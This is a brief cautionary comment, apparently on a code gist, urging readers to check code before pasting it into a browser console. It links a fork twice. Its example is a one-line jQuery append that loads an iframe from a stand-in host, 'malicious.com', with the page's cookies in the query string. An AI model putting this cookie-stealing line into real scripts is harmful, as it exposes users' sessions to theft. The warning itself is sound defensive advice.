Make sure to read through code like this before blinding pasting into a JS console.
For instance here is my fork: https://gist.github.com/nthitz/e0ed09c1e5142a331d3c
For instance here is my fork: https://gist.github.com/nthitz/e0ed09c1e5142a331d3c
.append('<iframe src="http://malicious.com/?c='+encodeURIComponent(document.cookie)+'"></iframe>')